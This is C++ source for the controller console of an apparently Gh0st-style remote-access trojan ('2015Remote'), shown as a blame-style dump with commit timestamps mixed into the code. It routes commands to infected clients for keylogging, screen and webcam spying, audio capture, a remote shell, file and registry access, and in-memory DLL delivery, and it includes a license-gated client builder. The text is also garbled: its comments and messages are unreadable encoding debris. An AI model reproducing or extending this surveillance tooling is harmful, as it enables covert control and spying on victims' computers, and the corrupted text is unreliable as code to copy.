2025-01-31 22:22:16 +08:00
VOID CMy2015RemoteDlg : : OnOnlineKeyboardManager ( )
{
BYTE bToken = COMMAND_KEYBOARD ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
2025-04-16 23:31:34 +08:00
std : : vector < std : : string > splitString ( const std : : string & str , char delimiter ) {
std : : vector < std : : string > result ;
std : : stringstream ss ( str ) ;
std : : string item ;
while ( std : : getline ( ss , item , delimiter ) ) {
result . push_back ( item ) ;
}
return result ;
}
std : : string joinString ( const std : : vector < std : : string > & tokens , char delimiter ) {
std : : ostringstream oss ;
for ( size_t i = 0 ; i < tokens . size ( ) ; + + i ) {
oss < < tokens [ i ] ;
if ( i ! = tokens . size ( ) - 1 ) { // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> Ԫ<EFBFBD> غ<EFBFBD> <D8BA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ӷָ<D3B7> <D6B8> <EFBFBD>
oss < < delimiter ;
}
}
return oss . str ( ) ;
}
2025-04-20 21:24:31 +08:00
bool CMy2015RemoteDlg : : CheckValid ( ) {
DateVerify verify ;
# ifdef _DEBUG
BOOL isTrail = verify . isTrail ( 0 ) ;
# else
BOOL isTrail = verify . isTrail ( 14 ) ;
# endif
2025-04-16 23:31:34 +08:00
2025-04-20 21:24:31 +08:00
if ( ! isTrail ) {
2025-04-16 23:31:34 +08:00
auto THIS_APP = ( CMy2015RemoteApp * ) AfxGetApp ( ) ;
auto settings = " settings " , pwdKey = " Password " ;
// <20> <> ֤<EFBFBD> <D6A4> <EFBFBD> <EFBFBD>
CPasswordDlg dlg ;
std : : string hardwareID = getHardwareID ( ) ;
std : : string hashedID = hashSHA256 ( hardwareID ) ;
std : : string deviceID = getFixedLengthID ( hashedID ) ;
CString pwd = THIS_APP - > m_iniFile . GetStr ( settings , pwdKey , " " ) ;
dlg . m_sDeviceID = deviceID . c_str ( ) ;
dlg . m_sPassword = pwd ;
if ( pwd . IsEmpty ( ) & & IDOK ! = dlg . DoModal ( ) | | dlg . m_sPassword . IsEmpty ( ) )
2025-04-20 21:24:31 +08:00
return false ;
2025-04-16 23:31:34 +08:00
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʽ <EFBFBD> <CABD> 20250209 - 20350209: SHA256
auto v = splitString ( dlg . m_sPassword . GetBuffer ( ) , ' - ' ) ;
if ( v . size ( ) ! = 6 )
{
THIS_APP - > m_iniFile . SetStr ( settings , pwdKey , " " ) ;
MessageBox ( " <EFBFBD> <EFBFBD> ʽ <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> !" , " <EFBFBD> <EFBFBD> ʾ " , MB_ICONINFORMATION ) ;
2025-04-20 21:24:31 +08:00
return false ;
2025-04-16 23:31:34 +08:00
}
std : : vector < std : : string > subvector ( v . begin ( ) + 2 , v . end ( ) ) ;
std : : string password = v [ 0 ] + " - " + v [ 1 ] + " : " + PWD_HASH256 ;
std : : string finalKey = deriveKey ( password , deviceID ) ;
std : : string hash256 = joinString ( subvector , ' - ' ) ;
std : : string fixedKey = getFixedLengthID ( finalKey ) ;
if ( hash256 ! = fixedKey ) {
THIS_APP - > m_iniFile . SetStr ( settings , pwdKey , " " ) ;
if ( pwd . IsEmpty ( ) | | ( IDOK ! = dlg . DoModal ( ) | | hash256 ! = fixedKey ) ) {
if ( ! dlg . m_sPassword . IsEmpty ( ) )
MessageBox ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> , <20> <EFBFBD> <DEB7> <EFBFBD> <EFBFBD> ɷ<EFBFBD> <C9B7> <EFBFBD> <EFBFBD> <EFBFBD> !" , " <EFBFBD> <EFBFBD> ʾ " , MB_ICONWARNING ) ;
2025-04-20 21:24:31 +08:00
return false ;
2025-04-16 23:31:34 +08:00
}
}
// <20> ж<EFBFBD> <D0B6> Ƿ<EFBFBD> <C7B7> <EFBFBD> <EFBFBD> <EFBFBD>
auto pekingTime = ToPekingTime ( nullptr ) ;
char curDate [ 9 ] ;
std : : strftime ( curDate , sizeof ( curDate ) , " %Y%m%d " , & pekingTime ) ;
if ( curDate < v [ 0 ] | | curDate > v [ 1 ] ) {
THIS_APP - > m_iniFile . SetStr ( settings , pwdKey , " " ) ;
MessageBox ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڣ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> !" , " <EFBFBD> <EFBFBD> ʾ " , MB_ICONINFORMATION ) ;
2025-04-20 21:24:31 +08:00
return false ;
2025-04-16 23:31:34 +08:00
}
if ( dlg . m_sPassword ! = pwd )
THIS_APP - > m_iniFile . SetStr ( settings , pwdKey , dlg . m_sPassword ) ;
}
2025-04-20 21:24:31 +08:00
return true ;
}
void CMy2015RemoteDlg : : OnOnlineBuildClient ( )
{
// <20> <> <EFBFBD> ±<EFBFBD> <C2B1> <EFBFBD> <EFBFBD> ij<EFBFBD> <C4B3> <EFBFBD> 14<31> <34> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڣ<EFBFBD> <DAA3> <EFBFBD> <EFBFBD> <EFBFBD> ֮<EFBFBD> <D6AE> <EFBFBD> <EFBFBD> <EFBFBD> ɷ<EFBFBD> <C9B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <D2AA> <EFBFBD> <EFBFBD> "<22> <> <EFBFBD> к<EFBFBD> "<22> <>
// <20> <> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <D2AA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <EFBFBD> <DFBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> if<69> <66> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ӵ<EFBFBD> <D3B5> <EFBFBD> Ӧ<EFBFBD> ط<EFBFBD> <D8B7> <EFBFBD> <EFBFBD> ɡ <EFBFBD>
// <20> <> <EFBFBD> кŰ<D0BA> <C5B0> <EFBFBD> <EFBFBD> <EFBFBD> Ȩ<EFBFBD> <C8A8> <EFBFBD> ڷ<EFBFBD> Χ <EFBFBD> <CEA7> ȷ<EFBFBD> <C8B7> һ <EFBFBD> <D2BB> һ <EFBFBD> 룻<EFBFBD> <EBA3BB> Ȩ<EFBFBD> <EFBFBD> <DFBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> δ<EFBFBD> <CEB4> <EFBFBD> ۸<EFBFBD> !
// ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> if <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> θ<EFBFBD> <CEB8> <EFBFBD> Ȩ<EFBFBD> <EFBFBD> .
// 2025/04/20
if ( ! CheckValid ( ) )
return ;
2019-01-05 20:21:43 +08:00
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EEB4A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CBuildDlg Dlg ;
2019-02-04 14:49:11 +08:00
Dlg . m_strIP = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetStr ( " settings " , " localIp " , " " ) ;
2025-04-16 23:31:34 +08:00
int Port = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " ghost " ) ;
Dlg . m_strPort = Port < = 0 ? " 6543 " : std : : to_string ( Port ) . c_str ( ) ;
2025-04-20 21:24:31 +08:00
Dlg . DoModal ( ) ;
2019-01-05 20:21:43 +08:00
}
VOID CMy2015RemoteDlg : : SendSelectedCommand ( PBYTE szBuffer , ULONG ulLength )
{
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
2019-02-04 14:49:11 +08:00
POSITION Pos = m_CList_Online . GetFirstSelectedItemPosition ( ) ;
2019-01-15 21:48:37 +08:00
while ( Pos )
2019-01-05 20:21:43 +08:00
{
2019-01-15 21:48:37 +08:00
int iItem = m_CList_Online . GetNextSelectedItem ( Pos ) ;
2019-02-04 14:49:11 +08:00
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) m_CList_Online . GetItemData ( iItem ) ;
2025-01-14 23:47:43 +08:00
if ( szBuffer [ 0 ] = = COMMAND_WEBCAM & & ContextObject - > sClientInfo [ ONLINELIST_VIDEO ] = = CString ( " <EFBFBD> <EFBFBD> " ) )
{
continue ;
}
2019-02-04 14:49:11 +08:00
// <20> <> <EFBFBD> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> ݰ<EFBFBD>
m_iocpServer - > OnClientPreSending ( ContextObject , szBuffer , ulLength ) ;
2019-01-05 20:21:43 +08:00
}
2024-12-26 21:58:44 +08:00
LeaveCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
}
//<2F> <> <EFBFBD> <EFBFBD> Bar
VOID CMy2015RemoteDlg : : OnAbout ( )
{
2025-03-30 18:03:01 +08:00
MessageBox ( " Copyleft (c) FTU 2025 " + CString ( " \n <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> : " ) + __DATE__ +
CString ( sizeof ( void * ) = = 8 ? " (x64) " : " (x86) " ) , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
2019-01-05 20:21:43 +08:00
}
//<2F> <> <EFBFBD> <EFBFBD> Menu
void CMy2015RemoteDlg : : OnNotifyShow ( )
{
2024-12-29 22:13:37 +08:00
BOOL v = IsWindowVisible ( ) ;
ShowWindow ( v ? SW_HIDE : SW_SHOW ) ;
2019-01-05 20:21:43 +08:00
}
void CMy2015RemoteDlg : : OnNotifyExit ( )
{
2024-12-29 22:13:37 +08:00
Release ( ) ;
CDialogEx : : OnOK ( ) ; // <20> رնԻ<D5B6> <D4BB> <EFBFBD>
2019-01-05 20:21:43 +08:00
}
//<2F> <> ̬<EFBFBD> ˵<EFBFBD>
void CMy2015RemoteDlg : : OnMainSet ( )
{
2024-12-31 03:11:26 +08:00
int nMaxConnection = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " MaxConnection " ) ;
2019-01-05 20:21:43 +08:00
CSettingDlg Dlg ;
Dlg . DoModal ( ) ; //ģ̬ <20> <> <EFBFBD> <EFBFBD>
2024-12-31 03:11:26 +08:00
if ( nMaxConnection ! = Dlg . m_nMax_Connect )
{
m_iocpServer - > UpdateMaxConnection ( Dlg . m_nMax_Connect ) ;
}
2025-04-07 18:18:36 +08:00
int m = atoi ( ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetStr ( " settings " , " ReportInterval " , " 5 " ) ) ;
int n = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " SoftwareDetect " ) ;
if ( m = = m_settings . ReportInterval & & n = = m_settings . DetectSoftware ) {
return ;
}
LVCOLUMN lvColumn ;
memset ( & lvColumn , 0 , sizeof ( LVCOLUMN ) ) ;
lvColumn . mask = LVCF_TEXT ;
lvColumn . pszText = Dlg . m_sSoftwareDetect . GetBuffer ( ) ;
CLock L ( m_cs ) ;
m_settings . ReportInterval = m ;
m_settings . DetectSoftware = n ;
m_CList_Online . SetColumn ( ONLINELIST_VIDEO , & lvColumn ) ;
SendMasterSettings ( nullptr ) ;
2019-01-05 20:21:43 +08:00
}
void CMy2015RemoteDlg : : OnMainExit ( )
{
2024-12-29 22:13:37 +08:00
Release ( ) ;
CDialogEx : : OnOK ( ) ; // <20> رնԻ<D5B6> <D4BB> <EFBFBD>
2019-01-05 20:21:43 +08:00
}
2024-12-29 22:13:37 +08:00
BOOL CMy2015RemoteDlg : : ListenPort ( )
2019-01-05 20:21:43 +08:00
{
2019-02-04 14:49:11 +08:00
int nPort = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " ghost " ) ;
2019-01-05 20:21:43 +08:00
//<2F> <> ȡini <20> ļ<EFBFBD> <C4BC> е ļ<D0B5> <C4BC> <EFBFBD> <EFBFBD> ˿<EFBFBD>
2019-02-04 14:49:11 +08:00
int nMaxConnection = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " MaxConnection " ) ;
2019-01-05 20:21:43 +08:00
//<2F> <> ȡ<EFBFBD> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-13 00:04:50 +08:00
if ( nPort < = 0 | | nPort > 65535 )
nPort = 6543 ;
if ( nMaxConnection < = 0 )
2019-01-05 20:21:43 +08:00
nMaxConnection = 10000 ;
2024-12-29 22:13:37 +08:00
return Activate ( nPort , nMaxConnection ) ; //<2F> <> ʼ <EFBFBD> <CABC> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
}
2024-12-29 22:13:37 +08:00
BOOL CMy2015RemoteDlg : : Activate ( int nPort , int nMaxConnection )
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
assert ( m_iocpServer ) ;
2021-03-14 11:44:56 +08:00
UINT ret = 0 ;
if ( ( ret = m_iocpServer - > StartServer ( NotifyProc , OfflineProc , nPort ) ) ! = 0 )
2019-01-05 20:21:43 +08:00
{
2025-04-27 01:16:16 +08:00
Mprintf ( " ======> StartServer Failed \n " ) ;
2021-03-14 11:44:56 +08:00
char code [ 32 ] ;
sprintf_s ( code , " %d " , ret ) ;
MessageBox ( " <EFBFBD> <EFBFBD> <EFBFBD> ú<EFBFBD> <EFBFBD> <EFBFBD> StartServerʧ<EFBFBD> <EFBFBD> ! <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :" + CString ( code ) ) ;
2024-12-29 22:13:37 +08:00
return FALSE ;
2019-01-05 20:21:43 +08:00
}
CString strTemp ;
strTemp . Format ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ˿<EFBFBD> : %d<> ɹ<EFBFBD> " , nPort ) ;
ShowMessage ( true , strTemp ) ;
2024-12-29 22:13:37 +08:00
return TRUE ;
2019-01-05 20:21:43 +08:00
}
VOID CALLBACK CMy2015RemoteDlg : : NotifyProc ( CONTEXT_OBJECT * ContextObject )
{
2025-04-07 18:18:36 +08:00
if ( ! g_2015RemoteDlg )
return ;
AUTO_TICK ( 50 ) ;
2025-02-25 03:43:15 +08:00
switch ( ContextObject - > v1 )
{
case VIDEO_DLG :
{
CVideoDlg * Dlg = ( CVideoDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case SERVICES_DLG :
{
CServicesDlg * Dlg = ( CServicesDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case AUDIO_DLG :
{
CAudioDlg * Dlg = ( CAudioDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case SYSTEM_DLG :
{
CSystemDlg * Dlg = ( CSystemDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case SHELL_DLG :
{
CShellDlg * Dlg = ( CShellDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case SCREENSPY_DLG :
{
CScreenSpyDlg * Dlg = ( CScreenSpyDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case FILEMANAGER_DLG :
{
CFileManagerDlg * Dlg = ( CFileManagerDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
case REGISTER_DLG :
{
CRegisterDlg * Dlg = ( CRegisterDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
2025-01-31 22:22:16 +08:00
case KEYBOARD_DLG :
{
CKeyBoardDlg * Dlg = ( CKeyBoardDlg * ) ContextObject - > hDlg ;
Dlg - > OnReceiveComplete ( ) ;
break ;
}
2025-04-07 18:18:36 +08:00
default : {
HANDLE hEvent = CreateEvent ( NULL , TRUE , FALSE , NULL ) ;
if ( hEvent = = NULL ) {
Mprintf ( " ===> NotifyProc CreateEvent FAILED: %p <=== \n " , ContextObject ) ;
return ;
}
if ( ! g_2015RemoteDlg - > PostMessage ( WM_HANDLEMESSAGE , ( WPARAM ) hEvent , ( LPARAM ) ContextObject ) ) {
Mprintf ( " ===> NotifyProc PostMessage FAILED: %p <=== \n " , ContextObject ) ;
CloseHandle ( hEvent ) ;
return ;
}
HANDLE handles [ 2 ] = { hEvent , g_2015RemoteDlg - > m_hExit } ;
DWORD result = WaitForMultipleObjects ( 2 , handles , FALSE , INFINITE ) ;
}
2025-02-25 03:43:15 +08:00
}
2019-01-05 20:21:43 +08:00
}
// <20> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
struct dlgInfo
{
HANDLE hDlg ;
int v1 ;
dlgInfo ( HANDLE h , int type ) : hDlg ( h ) , v1 ( type ) { }
} ;
VOID CALLBACK CMy2015RemoteDlg : : OfflineProc ( CONTEXT_OBJECT * ContextObject )
{
2025-04-07 18:18:36 +08:00
if ( ! g_2015RemoteDlg )
return ;
2019-01-05 20:21:43 +08:00
dlgInfo * dlg = ContextObject - > v1 > 0 ? new dlgInfo ( ContextObject - > hDlg , ContextObject - > v1 ) : NULL ;
2025-02-06 04:15:34 +08:00
SOCKET nSocket = ContextObject - > sClientSocket ;
2019-01-05 20:21:43 +08:00
g_2015RemoteDlg - > PostMessage ( WM_USEROFFLINEMSG , ( WPARAM ) dlg , ( LPARAM ) nSocket ) ;
ContextObject - > v1 = 0 ;
}
2025-02-25 03:43:15 +08:00
LRESULT CMy2015RemoteDlg : : OnHandleMessage ( WPARAM wParam , LPARAM lParam ) {
2025-04-07 18:18:36 +08:00
HANDLE hEvent = ( HANDLE ) wParam ;
2025-02-25 03:43:15 +08:00
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ;
MessageHandle ( ContextObject ) ;
2025-04-07 18:18:36 +08:00
if ( hEvent ) {
SetEvent ( hEvent ) ;
CloseHandle ( hEvent ) ;
}
2025-02-25 03:43:15 +08:00
return S_OK ;
}
2019-01-05 20:21:43 +08:00
VOID CMy2015RemoteDlg : : MessageHandle ( CONTEXT_OBJECT * ContextObject )
{
2025-04-07 18:18:36 +08:00
if ( isClosed ) {
return ;
}
2024-12-26 17:07:43 +08:00
switch ( ContextObject - > InDeCompressedBuffer . GetBYTE ( 0 ) )
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
case TOKEN_HEARTBEAT : case 137 :
UpdateActiveWindow ( ContextObject ) ;
break ;
2025-04-06 16:23:10 +08:00
case SOCKET_DLLLOADER : { // <20> <> <EFBFBD> <EFBFBD> DLL
2025-04-07 18:18:36 +08:00
auto len = ContextObject - > InDeCompressedBuffer . GetBufferLength ( ) ;
bool is64Bit = len > 1 ? ContextObject - > InDeCompressedBuffer . GetBYTE ( 1 ) : false ;
int typ = ( len > 2 ? ContextObject - > InDeCompressedBuffer . GetBYTE ( 2 ) : MEMORYDLL ) ;
bool isRelease = len > 3 ? ContextObject - > InDeCompressedBuffer . GetBYTE ( 3 ) : true ;
int connNum = 0 ;
Mprintf ( " ===> '%s' Request DLL [is64Bit:%d isRelease:%d] \n " , ContextObject - > RemoteAddr ( ) . c_str ( ) , is64Bit , isRelease ) ;
char version [ 12 ] = { } ;
ContextObject - > InDeCompressedBuffer . CopyBuffer ( version , 12 , 4 ) ;
SendServerDll ( ContextObject , is64Bit ) ;
2025-04-06 16:23:10 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case COMMAND_BYE : // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
CancelIo ( ( HANDLE ) ContextObject - > sClientSocket ) ;
closesocket ( ContextObject - > sClientSocket ) ;
Sleep ( 10 ) ;
break ;
}
2025-01-31 22:22:16 +08:00
case TOKEN_KEYBOARD_START : { // <20> <> <EFBFBD> ̼<EFBFBD> ¼
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENKEYBOARDDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2025-01-31 22:22:16 +08:00
break ;
}
2019-01-05 20:21:43 +08:00
case TOKEN_LOGIN : // <20> <> <EFBFBD> ߰<EFBFBD> shine
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_USERTOONLINELIST , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_BITMAPINFO : // Զ<> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENSCREENSPYDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_DRIVE_LIST : // <20> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENFILEMANAGERDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_TALK_START : // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENTALKDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_SHELL_START : // Զ<> <D4B6> <EFBFBD> ն<EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENSHELLDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_WSLIST : // <20> <> <EFBFBD> ڹ<EFBFBD> <DAB9> <EFBFBD>
case TOKEN_PSLIST : // <20> <> <EFBFBD> ̹<EFBFBD> <CCB9> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENSYSTEMDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_AUDIO_START : // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENAUDIODIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_REGEDIT : // ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENREGISTERDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_SERVERLIST : // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENSERVICESDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
2025-04-07 18:18:36 +08:00
case TOKEN_WEBCAM_BITMAPINFO : // <20> <> <EFBFBD> <EFBFBD> ͷ
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg - > SendMessage ( WM_OPENWEBCAMDIALOG , 0 , ( LPARAM ) ContextObject ) ;
2019-01-05 20:21:43 +08:00
break ;
}
}
}
LRESULT CMy2015RemoteDlg : : OnUserToOnlineList ( WPARAM wParam , LPARAM lParam )
{
CString strIP , strAddr , strPCName , strOS , strCPU , strVideo , strPing ;
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) lParam ; //ע<> <D7A2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ClientContext <20> <> <EFBFBD> Ƿ<EFBFBD> <C7B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʱ<EFBFBD> <CAB1> <EFBFBD> б <EFBFBD> <D0B1> <EFBFBD> ȡ<EFBFBD> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2024-12-26 17:07:43 +08:00
if ( ContextObject = = NULL | | isClosed )
2019-01-05 20:21:43 +08:00
{
return - 1 ;
}
try
{
2024-12-28 04:34:54 +08:00
sockaddr_in ClientAddr ;
memset ( & ClientAddr , 0 , sizeof ( ClientAddr ) ) ;
int iClientAddrLen = sizeof ( sockaddr_in ) ;
SOCKET nSocket = ContextObject - > sClientSocket ;
BOOL bOk = getpeername ( nSocket , ( SOCKADDR * ) & ClientAddr , & iClientAddrLen ) ;
2019-01-05 20:21:43 +08:00
// <20> <> <EFBFBD> Ϸ<EFBFBD> <CFB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ݰ<EFBFBD>
if ( ContextObject - > InDeCompressedBuffer . GetBufferLength ( ) ! = sizeof ( LOGIN_INFOR ) )
{
2024-12-28 04:34:54 +08:00
char buf [ 100 ] ;
sprintf_s ( buf , " *** Received [%s] invalid login data! *** \n " , inet_ntoa ( ClientAddr . sin_addr ) ) ;
2025-04-27 01:16:16 +08:00
Mprintf ( buf ) ;
2019-01-05 20:21:43 +08:00
return - 1 ;
}
2024-12-26 17:07:43 +08:00
LOGIN_INFOR * LoginInfor = new LOGIN_INFOR ;
ContextObject - > InDeCompressedBuffer . CopyBuffer ( ( LPBYTE ) LoginInfor , sizeof ( LOGIN_INFOR ) , 0 ) ;
2019-01-05 20:21:43 +08:00
strIP = inet_ntoa ( ClientAddr . sin_addr ) ;
//<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
strPCName = LoginInfor - > szPCName ;
2019-03-29 10:40:08 +08:00
//<2F> 汾<EFBFBD> <E6B1BE> Ϣ
strOS = LoginInfor - > OsVerInfoEx ;
2019-01-05 20:21:43 +08:00
//CPU
strCPU . Format ( " %dMHz " , LoginInfor - > dwCPUMHz ) ;
//<2F> <> <EFBFBD> <EFBFBD>
strPing . Format ( " %d " , LoginInfor - > dwSpeed ) ;
2025-04-07 18:18:36 +08:00
strVideo = m_settings . DetectSoftware ? " <EFBFBD> <EFBFBD> " : LoginInfor - > bWebCamIsExist ? " <EFBFBD> <EFBFBD> " : " <EFBFBD> <EFBFBD> " ;
2019-01-05 20:21:43 +08:00
strAddr . Format ( " %d " , nSocket ) ;
2024-12-29 01:09:06 +08:00
AddList ( strIP , strAddr , strPCName , strOS , strCPU , strVideo , strPing , LoginInfor - > moduleVersion , LoginInfor - > szStartTime ,
LoginInfor - > szReserved , ContextObject ) ;
2024-12-26 17:07:43 +08:00
delete LoginInfor ;
2019-01-05 20:21:43 +08:00
return S_OK ;
2021-03-14 20:55:22 +08:00
} catch ( . . . ) {
2025-04-27 01:16:16 +08:00
